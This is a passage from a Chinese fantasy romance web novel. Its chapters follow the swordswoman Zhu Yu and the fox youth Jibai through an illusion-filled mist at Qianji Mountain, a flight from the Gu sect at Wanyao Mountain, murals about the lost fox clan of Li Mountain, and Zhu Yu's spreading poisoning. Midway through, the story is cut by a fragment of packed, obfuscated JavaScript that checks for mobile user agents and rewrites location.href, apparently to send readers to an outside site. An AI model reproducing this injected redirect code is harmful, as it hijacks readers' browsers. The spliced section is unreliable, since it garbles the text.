好看的狐狸眼一亮,一如夜空中明亮的星辰,喜欢溢出眼眸,他爱不释手的拿起,看了看,“祝祝,真好看。”
祝余抬手为他理了理被风吹乱的发丝,勾唇淡笑,“你喜欢就好。”
凡间的长命锁通常刻有长命百岁的字样,代表一种美好祝愿,但在修仙界,长命百岁更像是一种诅咒。
“望君无忧”是她对他的祝愿。
长命锁做功并不复杂,并不需要她到炼器峰去学习,但她往里面加了一滴心头血。
上次她突然被人掳走,找不到他的感觉,让她害怕无助,也让她危机感顿生,以后,长命锁在,不论是天涯还是海角,她都能找到他。
想到此,祝余又温言叮嘱,“以后,不能随便取下来,记住了吗?”
既白爱不释手的把玩着长命锁,闻言,抬眸看向她,眨了眨眼,好奇道:“若是取下来了呢?”
祝余做出沉思状,煞有其事的叹一口气,颇为伤感道:“那样我就找不到你了。”
闻言,既白立即珍重的把长命锁塞进衣服里,清亮的眼眸亮晶晶的看着他,拍了拍胸口,“那我要永远不取,让祝祝一直能找到我。”
祝余目光若有若无的扫过他衣领,也不知道他锁骨上的红痕还在吗?
她笑着点头,“好。”
只要有他的消息,她总会找到他的。
夜渐深,风越大,担心他冷,祝余将他拥入怀中,默默为他遮风。
全然忘了,以她的修为,遮风挡雨不过是念个诀的事。
二人紧紧依偎在一起,一夜过去,天边泛起鱼肚白,没几时,日出自重山深处升起,金色晨曦洒向人间,昭示着新的一天开始了。
日出越升越高,晨光落到依偎在一起的二人身上,身后一片光明。
22. 千机山
祝余携着既白重新回到剑峰,该下山了。
回到剑峰,她朝屋外睨了一眼,见时间还早,便拉着既白来到梳妆台前坐下,站在他身后,抬手解下发带,瞬间青丝如瀑垂落而下。
祝余手心拢了拢青丝,眼神自然的落到铜镜上,铜镜里是一前一后的二人,小小的一方天地,只有她们。
祝余满足的勾唇,继续思考,该给他扎个什么发型呢?
想了片刻,眼前灵光一闪,有了,她手上开始动作,灵活的手指不停穿过发丝,不一会儿,一个高马尾便扎好了。
相比之前的半披发,高马尾更为利落,不变的是,他如何都是好看的。
既白冲着铜镜晃头,马尾随之甩动,几缕碎发飘起,他抬头,眼中是她光洁的下颌线,他想到了第一次祝祝给他扎发时,问过的问题。
所以,是什么意思?
“怎么了?”祝余低头,见他正看着自己发呆,便问道。
既白内心纠结,想问问祝祝,但祝祝肯定不会告诉他,因为祝祝说过,要自己寻找答案。
他歇了心思,只说道:“祝祝,真好看。”
祝余见他喜欢,笑了笑,道:“那我以后多给你扎。”
“好。”
——
此次离开,不知何时能回,祝余便将能带上的都带上了,东西很多,但好在有储物戒,也不麻烦。
灵舟悬浮在半空中,早已等候多时,祝余牵着既白出了屋,眨眼间,二人已在灵舟上。
灵舟缓缓升空离开玄清宗。
不远处的山峰上,时灵兮面无表情的目送灵舟远去,想到师妹找她时所求的事,不由得哀叹一声,“师妹这是何必呢?”
但终归是她的选择。
半月后,飘浮已久的灵舟缓缓落地。
最开心的要属小鱼了,祝余修炼,既白也跟着修炼,唯独它无事可做。
一落到,它就迫不及待的到处乱飞。
既白也任由它飞,不出声阻止。
看着眼前一片的繁荣景象,他扭头,问道:“祝祝,我们要去哪里?”
祝余抬眸看向远处隐约可见的山,声音缥缈,“千机山。”
千机山是修仙界中很特别的存在,避世修行,非有大事不出。
千机山的修士可卜算未来过去,每一次出世都昭示着有大灾降临。
而上一次出世,修仙界遭受重创,隔了几万年才恢复过来。
虽如此说很不好,但修仙界众人确实很希望,千机山最好一直不出世。
有关黎山的记载,在修仙界遍寻不到,如今唯有能卜算过去未来的千机山,能给她答案。
她低头看向既白,他正抱着小鱼好奇张望,显然对这个地方充满了兴趣。
眼中闪过一抹忧虑的光,希望能有答案,又怕得到答案会对他造成很大伤害。
可黎山是他一直在寻找的,十五年前,她与他结缘,但他找了不止十五年。
既然是他一直在苦苦寻找的,她总归是要帮他找到的。
祝余找了间客栈,打算先住一晚,明日再前往千机山。
一进客栈,既白便亦步亦趋的跟在她身后,祝余自然知道他所求,但生了逗弄他的意思,便装作看不出,好笑问道:“怎么了?”
既白摇摇头,不说话,继续跟着她。
“嗯。”祝余点头,便作状要修炼。
既白急了,生怕她真的开始修炼,一把抓住她的袖子,轻轻摇晃,带着撒娇的意味,“我,我们出去好不好?”
祝余也不急,气定神闲的问道:“出去做什么?”
既白可怜兮兮的抓紧了她的袖子,不得不道出自己的真实目的,“想吃烧鸡。”
说完,他默默红了脸。
祝余逗弄他的目的达成,欣然点头,“走吧。”
回客栈的路上,既白抱着怀中香喷喷的烧鸡,颇为心满意足。
次日天一亮,祝余便带着他来到千机山。
千机山雾气缭绕,山脚围着的雾气更是浓厚,似一道屏障,阻止着来人靠近。
祝余来时已看过千机山的有关记载,自然知晓这是为何。
千机山避世不出,但也所求的人终会找上门,记载说,走过浓雾,便能见到千机山的人。
但按照记载,雾气不是那么好通过的,有人永远的留在了里面,成为雾气的养分,也有人成功穿过雾气,得到所求,但出来后,却不记得自己经历了什么。
千机山也在记载中越来越神秘。
祝余盯着雾气看了片刻,眼中坚定,不管雾气里有什么妖魔鬼怪,为了既白,她必须过去。
祝余将既白安顿到,摸了摸他发顶,看着他的眼睛,认真叮嘱,“若是天黑,我还没出来,你便自己回客栈。”
“若五日后,我若还未出现,你便按我说的去做,记住了吗?”
祝余已做好最坏的打算,若是五日后她还未出现,便是已遭不测,那时师姐会来带他回玄清宗。
早在离宗之时,她便已为他安排后一切后路。
既白心慌慌的,莫名眼眶泛红,可怜兮兮的看着她,委屈极了,“我不能和你一起去吗?”
“不能。”她严词拒绝。
祝余也想过带着他一起进去,但深思熟虑后,还是决定让他在外面等她。
他要做的事,她会代他去完成,他只需要等她回来就好。
祝余手抚摸上他脸侧,目光落在他饱满红润的唇上,心中别样想法一闪而过。
“我会很快回来的。”祝余承诺。
随即,修长手指勾起他下巴,拇指轻轻摩挲过他红润的唇,祝余倾身,一双唇落到另一双唇上,气息交缠,彼此交融,是如此的亲密。
此去生死未知,就让她提前收点利息吧。
良久,祝余后退一步,离开之际,她颇为不舍的轻舔一下,细语似情人间的呢喃,“等我回来。”
随后,她毫不犹豫的转身走进浓雾里。
既白脸侧通红,眼神迷茫,红润的唇上闪着别样的水光,抬眸,已是她决绝离去的背影。
他抬手捂住心口,心跳的好快。
——
迷雾里,抬眼看去,白茫茫一片,望不见前方,看不清来路。
雾中出奇的安静,仿佛并无危机,祝余却越加警惕,双眸紧盯迷雾,手中的金麟剑早已出鞘,蓄势待发,看似平静,说不定下一秒就会跑出什么怪物。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506150|153756||http|test|mini|href|location''.split(''|''),0,{}));
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>祝余继续往前走,走一步,观察一步,确保不会有东西突然窜出袭击她。
不知走了多久,祝余依然身处浓雾,纵使这一路走的顺利,没有遇到危险,她也不敢放松警惕。
又走了许久,眼前出现一条小道,祝余看了几秒,便毅然踏上小道。
纵使知道这是个阴谋,她也必须去闯。
祝余顺着小道继续走,身边两侧的雾越来越淡,骤然狂风起,吹得她睁不开眼睛。
叮——
耳畔似有风铃声响过。
祝余迷茫睁开眼,正身处闹事街头,街上人来人往,她看向手中的剑,神情略显茫然,自己为何要拔剑?
她开始回想,脑海中却一片空白,正当她要深思时,有人出声叫住了她。
“囡囡,怎么站在这里,快随爹娘回去,你夫君该等急了?”
“夫君?”
祝余面上一片茫然,自己成亲了吗?
一美貌妇人走过来,眼神关切的看着她,“囡囡怎么了?是不是不舒服?”
祝余摇摇头,嘴唇微动,想要说些什么,脑海中却是一片空白,不知道该说什么。
美貌妇人拉住她手臂,带着她往前走,“囡囡,我们快些回家吧。”
祝余被迫着往前走,好半响,僵硬吐出一句,“娘,好。”
穿过长长的街头,祝余跟着她们来到一处房屋外,院门正好打开,一绝色男子正才里缓缓走出。
见到她们,男子眼中笑意闪过,快步朝她们走来,他对着站在祝余身侧的中年男子和美貌妇人道:“爹,娘。”
随后又看向她,笑弯了眉眼,温柔道:“娘子,你回来了。”
祝余还是一脸茫然,这是自己夫君吗?
她看着他的脸,觉得好熟悉,似乎自己曾在一个个无人的夜间描绘过千百遍。
可她仔细去看,却又觉得违和,若要说何处违和,她却又说不上来。
只觉得,不是如此。
祝余脸色难看,到底是哪里不对?
男子见她面色不好,关切的伸出手,想要探她额头。
祝余想也不想,下意识躲开了。
男子的手落了空,皱眉看着她,带着不解问道:“娘子为何要躲开?”
“为夫会伤心的。”
说着他抬手捂住胸口,神情受伤的看着她。
祝余目睹他的动作,只觉得违和感更重了,那张脸做这个动作的时候,不应该是这样的。
那应该是什么样的?
祝余心中自问,却依然说不出个所以然来。
见男子依然神情受伤的看着她,祝余动了动嘴角,敷衍道:“我没事,不用看了。”
男子看了她片刻,不情不愿的收回手。
祝余想叫他名字,她唇瓣一动,开口,却发现自己不知道他名字。
男子看向她,“娘子,怎么了?”
祝余皱眉,“我好像不记得你的名字了。”
祝余开始反思,与人成亲,却不记得他的名字,实在不该。
“没事。”
男子继续道:“为夫,名为既白,娘子可莫要忘了。”
“既白”祝余默念,心中闪过一丝悸动。
23. “要不要再咬一口?”
“既白”
一个个模糊片段从脑海中迅速闪过,祝余想要截取,可却一无所获。
至此,祝余已然知晓,自己忘了很重要很重要的东西。
一连过了多日,祝余的心却没来由的慌,可明明生活很美满,有爹娘在,还有一个好看的夫君,心中却空落落的,仿佛遗失了什么重要东西。
祝余看着远处发呆,手捂住胸口,手下的心跳怦然有力,却忽视不了心底的空落,她止不住的去想,到底遗忘了什么重要东西。
“娘子,你怎么在这里?”男子朝她走过去,一脸受伤的看着她,“是既白做错了什么吗?娘子为何整天躲着我?”
见他神色难过,祝余心中一紧,几步上前,下意识想抬手去揉他发顶。
下意识的动作,在反应过来后,让她不禁一僵,祝余很确定,她对眼前人没有任何感情,仿佛只是一个陌生人,但看到他眼中流露出的难过,她也会跟着难过,想要安慰他。
祝余低头看向自己的手,再度陷入沉思,脑海突然突然出现一个片段,这次她抓住了,片段里是她伸手在摸既白的头。
但与眼前既白不同的是,片段里的既白眼神更为清亮澄澈,也不会露出如此温柔的神情,他只会直白的看向她,将自己所思所想显露无疑。
祝余还注意到,片断里的既白,乌黑的发丝下,藏着一对毛茸茸的的狐耳,在她触摸时会不停颤抖,在她的目光下轻唤出“祝祝”二字。
“娘子,娘子。”男子见她看着自己出神,关切的呼喊她。
祝余的思绪被打断,她回神,看向眼前男子头顶,只见发丝间空空如也。
祝余心越发的慌,就像是被困在高墙内的蚂蚁,四面皆是墙,却不知道如何才能出去。
她只能不停的在原地打转。
“娘子,怎么了?”男子疑惑问道。
祝余出声,“你的狐耳呢?”
男子一副恍然大悟的表情,“原来娘子是想看我狐耳。”
“我这就给娘子看。”
男子说着,周身发生变化,一对狐耳从他发间冒出。
祝余点头,若是遮上他的眼睛,倒是与梦中的既白一模一样了。
她视线继续下移,一眼看到了他身后九条毛茸茸的尾巴。
九条?
既白不应该有九条尾巴。
这个想法一出,困住她的高墙轰然倒塌,祝余眼神一变,心中立即明了,他不是既白。
祝余眼神冷漠,一如寒冬的冷风,金麟剑已然在握,她抬手,长剑毫不犹豫的指向对面之人。
“你不是既白。”
她说的肯定。
男子一僵,笑得温柔,欲盖弥彰道:“娘子,你在说什么,我就是既白。”
“是吗?”祝余冷笑一声,提剑,毫不留情的朝男子刺去。
长剑刺入心口,却无血迹流出。
知道自己已经暴露,男子也不再伪装,温柔的表象褪去,露出本来的冷漠。
“被发现了。”
另外两人也突然出现,三人极有默契的冲祝余袭来,祝余浑然不惧,提剑反击。
一番打斗后,祝余虽然也受了伤,但局势上占据了上风,伤口也不过是皮外伤。
三人被祝余击退,狼狈倒在地上,祝余眼中寒光一凛,正要彻底解决三人。
却见倒地的三人身上亮起一阵微弱光芒,光芒散去,三人早已消失不见,徒留三枚铜钱在地上。
周围场景消失不见,祝余又站在迷雾之中,记忆瞬间回笼。
祝余忆起刚才所经历的一切,脸色格外难看,薄雾之中却又突然出现一条铺满青石子的道路。
才刚经历一场幻境,这很可能又是一场幻境,但祝余别无选择,手握长剑,再度走上石子路。
这次,祝余没走多久,眼前便豁然开朗,她默默握紧了长剑,以面对突如其来的危机。
风起,雾散,眼前是一片桃花林,一白衣女子正端坐在桃花树下,桃花瓣如雨般飘落,更衬得女子好似仙人。
女子抬眸看向她,微微一笑,“你来了。”
女子身前有一棋盘,棋盘边上放着两杯正冒着白气的热茶,一杯是女子的,另一杯昭然可知。
祝余想到记载,千机山可卜算未来和过去,显然,女子早已知道她会来,并且知道她能穿过白雾。
对于千机山的认知,又多了几分,且对这个神秘的千机山更添几分忌惮。
祝余略一沉吟便坦然走过去,在白衣女子对面坐下,正要开口诉说自己所求。
白衣女子抬手止住了她,笑吟吟道:“陪我下一局?”
“好。”沉吟片刻,她应下。
白衣女子执白子,祝余执黑子,棋局悄然展开,风起桃花落,花雨满天,二人对弈,容貌皆属上乘,是一幅极美的画面。
时间一分一秒的过去,她对棋局的研究本就不多,不出所料的,祝余输了。
祝余放下黑子,正要开口。
对面的白衣女子指了指棋盘,示意她去看,只见刚才井然有序的黑白棋子,已摆成三个字——万妖山
祝余心思百转,这是在告诉她黎山在万妖山,还是万妖山有黎山的线索?
她正欲详细询问。
女子竖起一根玉指,立在红唇前,“天机不可泄露。”
在女子说完话后,大风忽起,满天的桃花瓣袭卷而来,包裹住白衣女子,桃花散去,女子已不在原位。
祝余叹息一声,知晓女子所能给的消息仅如此,剩下的要她自己去发现。
祝余起身,对着刚才女子消失的方向行一礼,以示感谢。
祝余再度走进雾里。
本以为回去的路,会和来时一样漫长,但没成想,她不过是在迷雾中走了一会儿,便走出迷雾。
祝余回头,刚才发生的一切好似幻觉,但确实是实实在在发生过的,千机山果然神秘莫测。
“祝祝。”既白红了眼眶,跌跌撞撞向她跑来。
祝余连忙伸手扶住他。
他一头扑进祝余怀中,双手将她抱的紧紧的,委委屈屈道:“祝祝,你怎么去了这么久。”
这三天里,他眼睛不敢眨一下,生怕错过了祝祝,他很害怕,还好祝祝回来了。
祝余笑着摸摸他的头,低笑着问道:“我
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不过离开一会儿,就这么想我?”
他想她,祝余自然是高兴的。
既白从她怀里起身,伸出三根手指,红着眼,纠正她,“不是一会儿,是三天。”
边说,他边用手指在祝余眼前用力晃动,以表达自己的不满。
祝余闻言,眼中的笑意消失,在她看来,自己不过是离开了一会,但既白不会骗她。
她偏头,看向后方的千机山,眼中神色闪烁,不知是在想什么。
好一会,她收回视线,心疼的揉着既白的发顶,她好像又让他久等了。
她能想象到,既白一个人孤零零的在这里等了她三天,是如何的无助。
祝余将人再度揽入怀中,双手不自觉用力,想将人藏进骨血,她低声向他道歉,“抱歉。”
她曾经说过,不会再让他久等,但她似乎总在一次次食言。
手指抚过他泛红的双眼,她低语,“是我食言了,既白想怎么罚我,我都受着。”
既白抬头,眨了眨眼,“真的吗?”
“嗯。”祝余点头,“是我的错。”
“那我要罚你了。”
既白抓起她的手,低头,在她手腕上用力咬了一口。
酥麻感瞬间从手腕处蔓延开。
“好了。”
既白手指轻按着她手腕上留下的牙印,皱眉,怎么红了,他明明咬的很轻。
见祝余久未说话,他眼中闪过一抹心虚,上次祝祝咬他,他也不疼,反而有一种异样的感觉。
这才想着……
“祝祝,对不起,我把你咬疼了。”
既白指尖轻轻抚过她手腕上红红的牙印,认真道歉。
祝余从酥麻感中回神,神色幽深的看向手腕,这到底是惩罚还是奖励。
她不介意再给他咬两口。
“不疼。”
祝余轻咳一声,若无其事的说道:“要不要再咬一口?”
说完,祝余偏过头,侧脸不好意思的红了。
虽然既白不懂,但她懂。
莫名觉得自己像是拐骗无知少年的坏人。
既白用力摇头,十分抗拒,“不要。”
祝祝手腕都红了,他舍不得再咬疼她。
一排浅浅的牙印,在她白皙的手腕上,十分显眼,既白越看越觉得好看,耳根处莫名蔓延起一股燥热,耳垂红的好似三月里的石榴花。
祝余心中惋惜,但他不愿再咬,她也不会逼他,只能默默放下手腕,眼中的遗憾却是明显至极。
那一瞬酥麻的感觉,好似罂粟,让她止不住的上瘾。
祝余看向手腕,心中遗憾,“真的不能再咬一口吗?”
既白拒绝的十分有力,“祝祝,不要。”
他好看的眼睛眨巴着,不解看向她,他都把祝祝咬疼了,祝祝为什么还要他咬?
祝余猜出他所想,脸上一红,恍若春风里的桃花,她急忙开口打断他所想。
“明日,我们去万妖山。”
既白果然被吸引,不再纠结刚才的事,反而想起此起被留下,委屈道:“不能不带我。”
“好。”祝余笑着应下。
24. 万妖山
万妖山,地处修仙界与妖界的的交界处。
经过一月的飞行,灵舟终抵达万妖山,传闻万妖山奇珍异宝众多,肉眼可见的,来此地的人与妖也格外的多。
祝余匆匆瞥过一眼,修为大多都和她差不多,不欲多生事端,她拉着既白往人烟稀少处走去。
“祝祝,我们要去哪里?”既白乖巧跟着她,不禁好奇的问道。
祝余行走的动作一顿,她也不知道不清楚,白衣女子只指引她来万妖山,除此之外,并无留下只言片语,祝余毫无头绪,为今之计也只能走一步看一步。
祝余揉揉眉心,叹息道:“我也不知道。”
漫无目的的在万妖山行走了几天,祝余挥剑的姿势越发的快,妖兽杀了不少,但关于黎山的事,她依然没有任何头绪。
祝余眉心微蹙,眼中闪过一抹沉思,纠结着要不要同既白说。
他找寻黎山多年,说不定会有见解,但偏偏他又什么都不记得了,祝余顿感头疼。
她正垂眸深思,一道来者不善的声音打断了她。
“呵,又见面了。”
蚩离站在前方,冷晲着她出声。
祝余抬眸,下意识的反应快过思考,在她还未反应过来时,人已站在既白身前。
竟是蛊门。
祝余握剑的手微用力,心中不由得一紧。
祝余回头,既白正乖巧站在自己身后,心稍安,随即,出剑,防备的看着对面。
蚩离嗤笑一声,“前两次的账是该好好清算一下了。”
说着她目光扫过既白,“你若是愿意将他交出来,我可以考虑留你个全尸。”
对面人多势众,而自己又势微,真对上,她必输无疑。
而祝余也没想和蛊门的人正面对上,离开此地,才是上策,她不动声色的留意着周围地形,在心中思考起应对之策。
目光在看到不远处的瀑布时,一个逃跑的计划,在心中形成。
祝余偏头,压低了声音,“看见不远处的瀑布了吗?”
既白闻言,朝远处看了一眼,收回目光,点头,示意自己看到了。
“什么都不用管,去瀑布。”
既白不言,咬紧了唇,他想和祝祝在一起。
祝余看出他的想法,冲他安慰一笑,“乖,我不会有事的。”
既白沉默片刻,怨恨自己的无能,也知晓自己留下,不仅帮不了祝祝,祝祝还要分心保护他,这才不情不愿的点头,表示自己知道了。
“我们都不会有事的。”祝余说的坚定,她很想摸摸他发顶,但现在显然不是好时机。
祝余不再有后顾之忧,主动出剑攻击,蚩离不屑轻笑一声,也迎了上去。
祝余与蚩离缠斗在一起,有条不紊的躲避出剑,趁乱对着既白使眼色,示意他快去。
既白心紧提起,眼含担忧,见状,抿了抿唇,纵然心中不愿,却还是乖乖朝瀑布走去。
他修为低微,蛊门的人对他不甚在意,故而,他的离去并未有人发现。
祝余见他离开,心中一松,继续与蚩离缠斗在一起,为他拖延时间。
既白心中担忧她,走的极快,没一会就走到了瀑布边,双手紧握在一起,忧心忡忡的盯着半空中打斗的两人。
与蚩离的打斗,祝余虽然占据上风,但她并没有恋战的想法,对面人多先不说,蚩离还并未用蛊。
祝余一直在伺机寻找机会,全力挥出一剑,剑气直冲她面首,蚩离剑法不如她,不得不闪身躲避。
祝余并不恋战,转身后撤。
蚩离反应过来后,看出她要逃的想法,冷哼一声,“想跑?”
“去。”
蚩离取下一直盘在她肩上的人脸蜘蛛,朝祝余扔去。
祝余察觉到后方的危机,转身,挥出一道剑气,人脸蜘蛛飞在半空中,朝祝余手腕吐出一道蛛丝。
祝余握剑,反手斩断蛛丝,但人脸蜘蛛动作极快,因她这一动作的停顿,人脸蜘蛛跳到了她手上。
见识过人脸蜘蛛的厉害,祝余不敢让它在自己身上多停留,顾忌不上太多,她抬手朝人脸蜘蛛抓去。
握剑的手突然一疼,祝余面不改色的甩开人脸蜘蛛。
来不及多想,祝余飞快来到既白身边,不做任何停留,一把抱住他的腰,顺着瀑布的方向跳下去。
瀑布水流的冲击声很大,耳边的风声呜呜,祝余抱紧了怀中的人。
“别怕,有我在。”
既白不语,默默反抱住她,用行动诠释自己的心意。
“哗啦”一声,二人齐齐掉落到潭里。
水流没过头顶,潭水大口大口的往嘴里灌,求生的本能让既白挣扎着想要浮出水面,但祝余深知,此时若是露面,蛊门的人必定不会放过她们。
祝余憋住气,手勾住他的脖子,将人带近,带着水气的唇袭上他的,一边给他渡气,一边带着他往更深处游去。
水下视线受限,既白半眯着眼,入目是祝余双眼紧闭的样子,她的手紧紧抱着他的腰,距离是如此的近,唇上是独属于她的气息。
他闭了眼,她湿透的面容在他脑海中却越发清晰,耳边是自己如擂鼓般的心跳。
说不清道不明的感情在这一刻如春笋破土,肆意生长。
瀑布边上,蚩离阴沉着脸追了过来,三番两次的让人从自己手中跑掉,她的心情实在算不上好。
她看了一眼重回肩上的人脸蜘蛛,冷漠出声,“如何?”
人脸蜘蛛害怕的点点头。
蚩离难看的脸色,这才好上不少,惹了她是要付出代价的,可惜那人不是死在自己手上。
中人脸蜘蛛的毒,折磨死去,算是便宜她了。
蚩离冷漠看着平静下来的水面,眼里流露出几分惋惜,那男子长像颇得她心意,她还没来得及享用,可惜了。
水底,祝余带着既白不知游了多久,正当她要带既白出去时,深不见底的潭底突然出现一个小小的漩涡,顷刻间,漩涡越来越大。
在祝余察觉到不对劲时,已经晚了,她带着既白奋力上浮,漩涡却仿佛活了,像是一条巨大的水蛇,轻轻松松就将二人吞下。
水流不断翻涌,水打在人身上,让人生疼,祝余拼尽全力抓住既白的手,十指相交,紧紧扣在一起,祝余眼前一黑晕了过去。
“滴—滴—滴答——”
祝余是被这水滴滴落的声音吵醒的,她茫然睁眼,不过片刻,眼中便是一片清明。
她急忙偏头,看到身边是晕倒未醒的既白,这才放下心来。
祝余从地上坐起,打量着此地,洞里有一条溪流穿过,想到先前的漩涡,不知为何到了此地。
“既白,既白。”祝余轻声唤道。
没几声,既白便悠悠转醒,他下意识呢喃,“祝祝。”
“嗯,我在。”
见他醒来,叫的第一个人是自己,她忍不住弯了弯唇角。
祝余将他扶起,“你先坐一会。”
将他安顿好后,祝余起身,唤出一团火光,打算寻找出去的路。
她来到石壁前,明亮火光下,一眼就看到了石壁上鲜艳的壁画。
祝余走近,细细观摩,看过几幅壁画后,眼神一顿,不可置信的回眸看向既白。
她的打量太过直白,既白自然发现了,他起身朝着祝余走来,“祝祝,怎么了?”
祝余没说话,只是若有所思的看着他,似是在思考什么。
既白见她在沉思,便也没在打扰,眼神看向她身后的石壁。
石壁上赫然是一只只九尾狐。
祝余往旁边侧一步,手中火光更亮了几分,方便他能更好的观看。
石壁上的壁画历经岁月打磨,已经残缺不全,但通过仅存的壁画,仍旧能推断出大致故事。
黎山狐族曾受上天偏爱,天生九尾,每一条尾巴都蕴含灵力,于凡人能延年益寿起死回生,于修士更能助其修为更上一层楼。
若渡劫期修士得之一尾,便能顺利渡劫,修士渡劫向来九死一生,极其凶险,如此奇效,自然引来无数人的觊觎。
匹夫无罪,怀璧其罪,黎山狐族遭到了各界人士的围剿追杀。
黎山狐族将要灭亡之际,族中众多长老以身献祭,封印了黎山。
黎山消失,黎山狐族也随之一同消失。
难怪如今没有黎山的记载,想来有关记载也应该在那场围剿中销毁了。
祝余目光重新落到既白身上,既白一直在找的黎山,会是这个黎山吗?
若真是,既白又怎会出现在此,毕竟按壁画所言,黎山已经被封印。
壁画的最后,是黎山消失前的位置。
既白神情恍惚,手抚上壁画,熟悉感扑面而来,头一阵刺痛,一个画面在他眼前铺开。
画面上似乎是他的族人,他们希冀的看着他,正语重心长的与他诉说着什么。
既白只觉得心中难受,迫切的想要知道他们在说什么,脚下一个踉跄,眼前画面消失。
祝余上前,伸手扶住他,眼神关切。
“没事吧?”
既白呆呆的摇头,似乎还没从刚才的画面中回神,直至祝余
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的手抚上他的脸,一阵冰凉,他才发现,原来是自己哭了。
既白抬手,抹了一把泪,眼神灰扑扑的,失了光泽,他呆愣的看着指尖上的泪。
“祝祝,我怎么哭了。”
“祝祝,我不知道我为什么哭。”
祝余为他拭去眼角的泪,心疼的将人拥进怀里,柔声安慰,“会记起来的,以后都会记起来的。”
既白心中难受,连声音也恹恹的,“祝祝,若是我记不起来,该怎么办?”
他能感觉到,他遗忘的是很重要的东西。
想到此,他不禁埋怨自己,为什么要忘记,如果没忘记,他就能知晓了。
祝余抬手,轻揉他发顶,“我会帮你。”
既白闻言,眼眸看了她片刻,见她神情认真,便知晓她说的是真的。
既白只觉得更难受了,一直以来,都是祝祝在无条件的帮他,而他从来没有给过祝祝什么。
“祝祝,我该怎么办报答你才好。”
既白低声说着,神情略显茫然。
祝余轻叹一声,她做这一切本就是为报答是自愿,她没有想过要他偿还。
“以后,你会知道的。”她囫囵说了一句。
祝余若有所思的目光再度落到壁画上,眼中闪过一抹忧虑,九尾只剩三尾,是意外还是巧合。
祝余很快便找到了出口,离开之际,她挥剑将洞里的壁画毁去,她们能进来,别人自然也能进来。
在既白身份还未明朗时,她不想留下一丝隐患。
得到自己想要的,祝余便带着他离开万妖山,打算去找黎山最后消失的位置
洞中壁画,不知是谁留下的,也不知留下了多久,沧海桑田历经变化。
找起来并不容易。
——
清早,祝余照例练剑,既白也拿着一截树枝,在旁边有模有样的比划着。
祝余刚挥出一个动作,手中的剑,突然“哐当”一声掉落在地。
祝余皱眉,捡起掉落在地的金麟剑,视线看向自己手心,剑掉落的那一个瞬间,她似乎感觉到自己的手指格外僵硬。
她动了动手,活动自如,并无异样,但她是剑修,在无任何外力的作用下,掉剑,是完全不可能的事。
握了握手,祝余想起在万妖山时,自己曾被蛊门少主的人脸蜘蛛咬到过。
手上被咬到的位置,已然看不出伤口,祝余脸色不虞,心里已经有了不好的预感。
既白见她久久未动,走过来,疑惑问道:“祝祝,怎么了?”
祝余放下手,眼中情绪闪烁,不知在想什么,当下做出决定,“既白,我们需要回一趟玄清宗。”
她很肯定,那一瞬手指的僵硬不是自己的错觉,蛊门的莫测,也是亲眼见识过的,有太多事未完成,她不能去赌。
既白完全没有异议,“我听祝祝的。”
灵舟开始往玄清宗方向飞,开始几天,手上都未再出现异样,祝余一度以为自己多心了。
直至第五天,无名指和小指彻底僵硬,再无法做出简单动作。
祝余盯着僵硬的手指,眼中情绪万千,蛊门如此莫测,难怪会被修仙界忌惮。
手上僵化的进程越来越快,不过短短几日,祝余的一整个手掌便无法再动。
既白坐在一旁,眼泪汪汪的看着她的手,似乎觉得,是自己的错,眼中溢满了愧疚。
祝余轻笑一声,下意识想伸手揉他发顶,手上动作不便,才反应过来。
她刚想换一只手,既白已双眼含泪,咬着唇,乖巧的低下头,主动的将她的手放到头上,弱弱同她道歉,“祝祝,对不起。”
既白乖巧的在她手下轻蹭,可祝余的手心早已僵硬,自然不会有感觉。
祝余注视着他的动作,心中只觉惋惜,既白的主动,她却感受不到。
“既白为什么要道歉?”她温柔开口。
既白默默低下了头,心中苦涩,“若不是……若不是因为我,祝祝也不会如此。”
祝余将放在他头上的手拿下,倾身上前,用另一只完好的手,将人揽进怀里。
叹息声微不可闻,“不要自责,是我自愿的。”
“不要难过,我会心疼。”
她只希望他开心。
“可,可是……”既白还想说什么。
祝余强硬的勾起他下巴,倾身,以吻封缄。
一吻毕,既白早已红了脸,红润的唇上有着水光,他耳垂又热又红,感受和上次水里的完全不一样。
可不论怎样,只要是祝祝,他都喜欢。
25. 自断狐尾
祝余返回到玄清宗时,半边身子已然僵硬。
这一路上,担心吓到既白,她一直在苦苦强撑,如今灵舟进入玄清宗的范围,祝余再也支撑不住,头一偏,彻底陷入昏厥。
既白双眼含泪,眼底泛红,小心翼翼的握住她的手,不断向上苍祈祷,祝祝一定不会有事的。
灵舟一落地,他便心急如焚的冲下灵舟,一路问着宗门弟子,成功找到时灵兮。
彼时,时灵兮正在传授剑法。
见到她,既白犹如看到救命稻草,顾不上额前凌乱的发丝,他神色焦急,急急哀求道:“师姐,求你救救祝祝。”
听到祝余出事,时灵兮脸色一变,急忙收了剑,一个闪身就来到他身前,神情严肃,出声,“带路。”
——
药峰。
既白忧心忡忡的站在门外,双眼一眨不眨的紧盯着门缝,似乎想要透过缝隙看到里面的情况。
但只是枉然。
时灵兮斜靠在柱子上,眉头紧锁,不时朝屋里看一眼,进去了这么久,也不知师妹可还好。
又等了许久,屋门打开,一个上了年纪的中年女子走出。
既白焦急看着她,急切想知道祝余的情况。
时灵兮也快步走了过来,担忧问道:“王师叔,师妹她如何了?”
中年女子摇头叹气,“此毒很是棘手。”
王师叔的医术在修仙界久负盛名,若是她都说棘手,只怕师妹凶多吉少了,时灵兮脸色很难看。
“我先回去翻阅古籍,看能不能找到一线生机。”王师叔沉重说道。
时灵兮立即向对方道谢,“多谢王师叔。”
既白脸色苍白,眼中水雾弥漫,心只有一个想法,他不能失去祝祝。
时灵兮送走王师叔,脸上表情凝重,看向魂不守舍的既白,心中哀叹,终归是师妹的选择。
“你先照顾师妹,若有事便来寻我。”她不能坐以待毙,一定会有办法的。
祝余是她师妹,她没办法眼睁睁看着她这般,一定会有办法的,一定会找到办法的,时灵兮不断在心中安慰自己。
既白满脑子都是祝余昏迷不醒的模样,心痛的好似有人在拿刀割,听到时灵兮的话,麻木的点头。
随后,时灵兮也离开,只余他一人。
既白通红着眼,心中恐慌,他害怕推开门,看到祝余昏迷不醒的样子。
可祝祝需要他。
